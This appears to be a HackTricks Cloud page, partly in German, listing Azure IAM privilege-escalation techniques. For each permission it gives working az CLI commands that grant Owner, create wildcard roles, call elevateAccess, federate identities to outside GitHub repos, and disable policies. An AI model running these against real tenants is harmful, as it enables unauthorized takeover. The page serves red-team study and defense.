Az - Azure IAM Privesc (Authorization)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Azure IAM
Für weitere Informationen siehe:
Az - Entra ID (AzureAD) & Azure IAM
Microsoft.Authorization/roleAssignments/write
Diese Berechtigung erlaubt es, Rollen an principals innerhalb eines bestimmten Scope zuzuweisen, wodurch ein attacker seine privileges eskalieren kann, indem er sich selbst eine höher privilegierte Rolle zuweist:
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
Microsoft.Authorization/roleDefinitions/Write
Diese Berechtigung ermöglicht es, die von einer Rolle gewährten Berechtigungen zu ändern, wodurch ein Angreifer Privilegien eskalieren kann, indem er einer Rolle, die er zugewiesen hat, zusätzliche Berechtigungen gewährt.
Erstelle die Datei role.json mit folgendem Inhalt:
{
"roleName": "<name of the role>",
"Name": "<name of the role>",
"IsCustom": true,
"Description": "Custom role with elevated privileges",
"Actions": ["*"],
"NotActions": [],
"DataActions": ["*"],
"NotDataActions": [],
"AssignableScopes": ["/subscriptions/<subscription-id>"],
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
Aktualisieren Sie dann die Rollenberechtigungen mit der vorherigen Definition, indem Sie aufrufen:
az role definition update --role-definition role.json
Microsoft.Authorization/elevateAccess/action
Diese Berechtigung ermöglicht es, Privilegien zu erhöhen und Berechtigungen an jeden Principal für Azure resources zu vergeben. Sie ist dafür vorgesehen, Entra ID Global Administrators zugewiesen zu werden, damit diese auch Berechtigungen für Azure resources verwalten können.
Tip
Ich denke, der Benutzer muss Global Administrator in Entra ID sein, damit der elevate call funktioniert.
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# Grant a user the Owner role
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Diese Berechtigung erlaubt das Hinzufügen von Federated credentials zu managed identities. Z. B. kann einem Repo in Github Zugriff für Github Actions auf eine managed identity eingeräumt werden. Dadurch ermöglicht sie den Zugriff auf jede vom Benutzer definierte managed identity.
Beispielbefehl, um einer managed identity Zugriff auf ein Repo in Github zu geben:
# Generic example:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
# Example with specific data:
az rest --method PUT \
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Ein Angreifer mit der Berechtigung Microsoft.Authorization/policyAssignments/write oder Microsoft.Authorization/policyAssignments/delete auf einer Verwaltungsgruppe, einem Abonnement oder einer Ressourcengruppe kann Azure-Richtlinienzuweisungen ändern oder löschen, und damit möglicherweise Sicherheitsbeschränkungen deaktivieren, die bestimmte Vorgänge blockieren.
Dadurch wird Zugriff auf Ressourcen oder Funktionen ermöglicht, die zuvor durch die Richtlinie geschützt waren.
Richtlinienzuweisung löschen:
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Eine Policy-Zuweisung deaktivieren:
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
Änderungen überprüfen:
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
Microsoft.Authorization/policyDefinitions/write
Ein Angreifer mit der Berechtigung Microsoft.Authorization/policyDefinitions/write kann Azure policy definitions ändern, wodurch die Regeln, die die Sicherheitsbeschränkungen in der gesamten Umgebung steuern, verändert werden.
Zum Beispiel kann eine policy, die die erlaubten Regionen für das Erstellen von Ressourcen einschränkt, so geändert werden, dass jede Region erlaubt ist, oder der policy-Effekt kann so verändert werden, dass sie wirkungslos wird.
Policy definition ändern:
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
Überprüfe die Änderungen:
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
Microsoft.Management/managementGroups/write
Ein Angreifer mit der Berechtigung Microsoft.Management/managementGroups/write kann die hierarchische Struktur von Managementgruppen ändern oder neue Managementgruppen erstellen, wodurch restriktive Richtlinien, die auf höheren Ebenen angewendet werden, möglicherweise umgangen werden.
Beispielsweise kann ein Angreifer eine neue Managementgruppe ohne restriktive Richtlinien erstellen und anschließend Abonnements dorthin verschieben.
Erstellen einer neuen Managementgruppe:
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
Ändern der Management-Gruppen-Hierarchie:
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
Überprüfen Sie die Änderungen:
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
Microsoft.Management/managementGroups/subscriptions/write
Ein Angreifer mit der Berechtigung Microsoft.Management/managementGroups/subscriptions/write kann Abonnements zwischen Verwaltungsgruppen verschieben, wodurch er möglicherweise einschränkende Richtlinien umgehen kann, indem er ein Abonnement in eine Gruppe mit weniger restriktiven oder gar keinen Richtlinien verschiebt.
Verschiebe ein Abonnement in eine andere Verwaltungsgruppe:
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
Überprüfe die Änderungen:
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

